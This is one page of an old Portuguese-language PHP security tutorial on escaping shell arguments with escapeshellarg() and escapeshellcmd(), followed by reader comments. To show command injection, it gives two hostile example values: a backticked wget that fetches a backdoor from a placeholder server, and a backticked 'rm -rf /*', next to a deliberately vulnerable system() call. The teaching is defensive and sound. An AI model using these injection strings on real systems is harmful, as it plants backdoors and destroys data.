Tratamento de dados fornecidos pelo usuário: projetando sistemas com mais segurança

De uns tempos para cá comecei a notar que mais gente está programando e conseqüentemente mais gente está entrando no mercado de trabalho precocemente. Estão iniciando sua viagem pelo maravilhoso mundo do desenvolvimento web muito inocentemente, no entanto não sabem eles - os desenvolvedores newbies ou negligentes - que existem usuários maliciosos olho no seu sistema.

[ Hits: 87.170 ]

Por: Ragen Dazs em 07/04/2004 | Blog: http://www.orkut.com


Escapando argumentos em shell



Imagine a seguinte chamada de sistema:

<?php
system("ls ".$dir);
?>

Por algum motivo o desenvolvedor precisa usar um ls ou um tar no seu servidor e muitas vezes utilizam como argumentos dados enviados pelo usuário.

Observe agora o argumento abaixo passado pelo usuário:

1 - $dir = `wget -b http://www.servidor_sem_suporte_a_php/backdoor.php` ./
2 - $dir = `rm -rf /*` ./

Uma backdoor em PHP seria plantada dentro do seu sistema no primeiro caso, no segundo todos os arquivos que você tem acesso seriam removidos do servidor.

A função PHP escapeshellarg() adiciona aspas simples em torno de uma string e escapa qualquer as aspas simples existentes permitindo a você passar uma string diretamente para uma função shell e tendo ela tratada como um argumento seguro, ou seja, a aspas cruzadas nos dois exemplos anteriores se fossem escapados corretamente seriam interpretados como texto e não mais como metacaractere.

<?php
system('ls '.escapeshellarg($dir));
?>

Agora sim esse seria um exemplo de código seguro.

Escapando metacaracteres shell


Seguindo a mesma linha de raciocínio a sua função "irmã" escapeshellcmd() escapa qualquer caracter em uma string que possa ser utilizado para enganar um comando shell para executar comandos arbitrários. E é bastante recomendado o uso desta função para se ter certeza que quaisquer dados vindos do usuário é escapado antes que estes dados sejam passados para as funções exec(), system() ou passthru(), ou para um operador backtick. Alguns exemplos seguem abaixo:

<?php
$e = escapeshellcmd($userinput);
system("echo $e");
?>

Nesse exemplo a string $e está escapada e não aceita código arbitrários:

<?php
$f = escapeshellcmd($filename);
system("touch \"/tmp/$f\"; ls -l \"/tmp/$f\"");
?>

Já nesse segundo exemplo além da string estar escapada tomamos o cuidado para $f não ter espaços.

Página anterior     Próxima página

Páginas do artigo
   1. Início
   2. Descrição do ambiente
   3. Tratando dados
   4. O que são códigos arbitrários
   5. O que é SQL injection
   6. Escapando strings
   7. Coringas e meta caracteres
   8. Escapando argumentos em shell
   9. O que são casts
   10. Denial of Service em sua página
   11. Cross site script
   12. Explorando falhas locais
   13. Agradecimentos
Outros artigos deste autor

Projeto Icecream (parte 1)

Referências ou ponteiros em PHP

PHP 6.0 - Você está pronto?

Entendendo um pouco sobre os daemons

Instalando o Allegro

Leitura recomendada

Sudo 1.8.12 - Parte II - Como sudo funciona

Hotspot rápido com Coovachilli

Verifique a sua fortaleza com lsat - software de auditoria em servidores e desktops

Debian Sarge + Snort + MySQL + Acidlab + Apache

Como configurar um IPTABLES simples e seguro no Slackware!

  
Comentários
[1] Comentário enviado por gustavo_marcon em 07/04/2004 - 19:19h

Cara, muito legal mesmo teu artigo, só achei que vc poderia ter dado uns toques de comandos que podem ser usados pra evitar por exemplo o SQL Injection, mas no mais, tá 10 mesmo. Parabéns.

[2] Comentário enviado por Ragen em 08/04/2004 - 00:31h

Olá Gustavo,

Note que logo abaixo de "O que é SQL injection" tem o que você quer "Escapando Strings", nessa parte é abordado como evitar os bendidos códigos maliciosos...

Só queria fazer mais um pequeno comentário:

Na parte onde eu falo sobre netcat eu fiz algumas pequenas mudanças desde a data de publicação do arquivo, por que eu deixo o assunto muito vago e sem nenhum exemplo concreto do seu uso....

Esse mesmo artigo pode ser encontrado em http://www.florecultura.com.br/bkp/artigo_tratamento.txt

[]`s

Ragen

[3] Comentário enviado por fabio em 11/04/2004 - 14:39h

Putz, acabou que com uma dica sua resolvi de forma trivial um problema que tinha no sistema de busca interno do site. Por exemplo, se você digitasse "sites celular" nada era encontrado. Daí mandei o sistema substituir espaços por %, agora buscas com palavras compostas funcionam. :)

Valeu pela dica!!!


Contribuir com comentário




Patrocínio

Site hospedado pelo provedor RedeHost.
Linux banner

Destaques

Artigos

Dicas

Tópicos

Top 10 do mês

Scripts